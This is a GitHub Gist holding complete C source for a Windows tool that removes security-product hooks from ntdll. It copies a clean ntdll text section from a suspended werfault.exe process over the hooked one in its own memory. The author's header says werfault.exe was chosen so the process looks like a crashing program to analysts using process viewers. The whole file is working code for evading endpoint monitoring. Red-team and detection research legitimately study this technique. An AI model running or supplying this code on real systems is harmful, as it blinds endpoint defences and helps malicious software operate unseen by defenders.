Last active
June 23, 2024 16:39
-
-
Save wizardy0ga/f53f4920d0e1d2f228e4d804f0938c6e to your computer and use it in GitHub Desktop.
Unhooking ntdll using a copy from a suspended process
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: | |
wizardy0ga | |
Date: | |
June 2024 | |
Arch: | |
x64 | |
Compiler: | |
MSVC | |
Description: | |
Unhook ntdll using a copy from a process created in a suspended state. | |
Note: | |
I chose werfault.exe as the process to suspend as it makes this process appear to be crashing | |
when analyzing the process tree with a tool such as procexp, process hacker or systeminformer. | |
*/ | |
#include <windows.h> | |
#include "stdio.h" | |
#define check_dos(dos_header) if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { printf("[!] dos header mismatch\n"); return -1; } | |
#define check_nt(nt_header) if (nt_header->Signature != IMAGE_NT_SIGNATURE) { printf("[!] nt header mismatch\n" ); return -1; } | |
/* structs resourced from https://ntdoc.m417z.com/ */ | |
typedef struct _PEB_LDR_DATA | |
{ | |
ULONG Length; | |
BOOLEAN Initialized; | |
HANDLE SsHandle; | |
LIST_ENTRY InLoadOrderModuleList; | |
} PEB_LDR_DATA, * PPEB_LDR_DATA; | |
typedef struct _UNICODE_STRING | |
{ | |
USHORT Length; | |
USHORT MaximumLength; | |
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; | |
} UNICODE_STRING, * PUNICODE_STRING; | |
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)( | |
_In_ PVOID DllHandle, | |
_In_ ULONG Reason, | |
_In_opt_ PVOID Context | |
); | |
typedef struct _LDR_DATA_TABLE_ENTRY { | |
LIST_ENTRY InLoadOrderLinks; | |
LIST_ENTRY InMemoryOrderLinks; | |
LIST_ENTRY InInitializationOrderLinks; | |
PVOID DllBase; | |
PLDR_INIT_ROUTINE EntryPoint; | |
ULONG SizeOfImage; | |
UNICODE_STRING FullDllName; | |
UNICODE_STRING BaseDllName; | |
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; | |
/* Borrowed from MSDN */ | |
typedef struct _PEB | |
{ | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PPEB_LDR_DATA Ldr; | |
} PEB, * PPEB; | |
int main() { | |
DWORD OldProtection = 0; | |
SIZE_T SizeOfNtDllTxt = 0, | |
BytesRead = 0, | |
BytesWritten = 0, | |
SizeOfNtDllImage = 0; | |
PVOID pLocalNtDllBase = NULL, | |
pLocalTextSection = NULL, | |
pUnhookedTextSection = NULL, | |
pUnhookedNtDllBase = NULL; | |
WCHAR NtDll[MAX_PATH] = { 0 }, | |
TargetProcess[MAX_PATH] = L"C:\\Windows\\System32\\werfault.exe"; | |
int StringSize = 0; | |
PIMAGE_DOS_HEADER pLocalDos = NULL, | |
pUnhookedDos = NULL; | |
PIMAGE_NT_HEADERS pLocalNt = NULL, | |
pUnhookedNt = NULL; | |
STARTUPINFO Si = { 0 }; | |
PROCESS_INFORMATION Pi = { 0 }; | |
/* Get the base address of ntdll in the local process. https://gist.github.com/wizardy0ga/cf8d469ea09515dc33eaf869d0fd8c03 */ | |
PPEB pPeb = (PPEB)__readgsqword(0x60); | |
PLDR_DATA_TABLE_ENTRY pEntry = NULL; | |
for ( | |
pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink; | |
pEntry->DllBase != NULL; | |
pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink | |
) { | |
StringSize = lstrlen(pEntry->BaseDllName.Buffer); | |
if (StringSize < sizeof(NtDll)) { | |
int i = 0; | |
for (; i < StringSize; i++) { NtDll[i] = towlower(pEntry->BaseDllName.Buffer[i]); } | |
NtDll[i++] = '\0'; | |
if (lstrcmpW(NtDll, L"ntdll.dll") == 0) { | |
pLocalNtDllBase = pEntry->DllBase; | |
} | |
} | |
} | |
if (!pLocalNtDllBase) { | |
printf("[!] failed to locate ntdll.dll\n"); return -1; | |
} | |
printf("[+] found local ntdll base at 0x%p\n", pLocalNtDllBase); | |
/* Get the size & location of the hooked text section */ | |
pLocalDos = (PIMAGE_DOS_HEADER)pLocalNtDllBase; | |
check_dos(pLocalDos); | |
pLocalNt = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtDllBase + pLocalDos->e_lfanew); | |
check_nt(pLocalNt); | |
SizeOfNtDllImage = pLocalNt->OptionalHeader.SizeOfImage; | |
SizeOfNtDllTxt = pLocalNt->OptionalHeader.SizeOfCode; | |
pLocalTextSection = (PVOID)((ULONG_PTR)pLocalNtDllBase + pLocalNt->OptionalHeader.BaseOfCode); | |
if (!SizeOfNtDllTxt || !pLocalNtDllBase) { | |
printf("[!] could not locate ntdll text section address or size.\n"); return -1; | |
} | |
printf("[+] found ntdll text section at 0x%p. size: %lld bytes\n", pLocalTextSection, SizeOfNtDllTxt); | |
/* Create a suspended process, copy unhooked ntdll into this process memory */ | |
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO)); | |
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION)); | |
Si.cb = sizeof(STARTUPINFO); | |
if (!CreateProcessW(NULL, TargetProcess, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &Si, &Pi)) { | |
printf("[!] Failed to create suspended %S process.\n", TargetProcess); | |
} | |
printf("[+] Created suspended %S process at pid %d\n", TargetProcess, Pi.dwProcessId); | |
/* Read unhooked ntdll from the suspended process */ | |
pUnhookedNtDllBase = VirtualAlloc(NULL, SizeOfNtDllImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
if (!pUnhookedNtDllBase) { | |
printf("VirtualAlloc failed with error: 0x%d", GetLastError()); return -1; | |
} | |
if (!ReadProcessMemory(Pi.hProcess, pLocalNtDllBase, pUnhookedNtDllBase, SizeOfNtDllImage, &BytesRead)) { | |
printf("[!] ReadProcessMemory failed with error: 0x%d\n", GetLastError()); return -1; | |
} | |
printf("[+] Copied ntdll from %S [%d] to %lld byte buffer at 0x%p\n", TargetProcess, Pi.dwProcessId, SizeOfNtDllImage, pUnhookedNtDllBase); | |
/* Get the location of unhooked text section */ | |
pUnhookedDos = (PIMAGE_DOS_HEADER)pUnhookedNtDllBase; | |
check_dos(pUnhookedDos); | |
pUnhookedNt = (PIMAGE_NT_HEADERS)((PBYTE)pUnhookedNtDllBase + pUnhookedDos->e_lfanew); | |
check_nt(pUnhookedNt); | |
pUnhookedTextSection = (PVOID)((ULONG_PTR)pUnhookedNtDllBase + pUnhookedNt->OptionalHeader.BaseOfCode); | |
if (!pUnhookedTextSection) { | |
printf("[!] could not locate unhooked ntdll text section\n"); return -1; | |
} | |
printf("[+] found unhooked ntdll text section at 0x%p\n", pUnhookedTextSection); | |
/* Copy unhooked text section into hooked section to complete ntdll unhooking */ | |
if (!VirtualProtect(pLocalTextSection, SizeOfNtDllTxt, PAGE_EXECUTE_WRITECOPY, &OldProtection)) { | |
printf("[!] VritualProtect [WCX] failed with error: %d\n", GetLastError()); return -1; | |
} | |
if (!WriteProcessMemory((HANDLE)-1, pLocalTextSection, pUnhookedTextSection, SizeOfNtDllTxt, &BytesWritten)) { | |
printf("[!] WriteProcessMemory failed with error: 0x%d\n", GetLastError()); return -1; | |
} | |
printf("[+] Copied unhooked text section into hooked text section\n"); | |
if (!VirtualProtect(pLocalTextSection, SizeOfNtDllTxt, OldProtection, &OldProtection)) { | |
printf("[!] VirualProtect [return] failed with error: 0x%d\n", GetLastError()); return -1; | |
} | |
printf("[+] Successfully unhooked ntdll! press enter to cleanup."); getchar(); | |
if (!TerminateProcess(Pi.hProcess, 0)) { | |
printf("[!] TerminateProcess failed with error: %d\n", GetLastError()); | |
} | |
if (!VirtualFree(pUnhookedNtDllBase, 0, MEM_RELEASE)) { | |
printf("[!] VirtualFree failed with error: 0x%d\n", GetLastError()); return -1; | |
} | |
printf("[+] Clean exit!\n"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment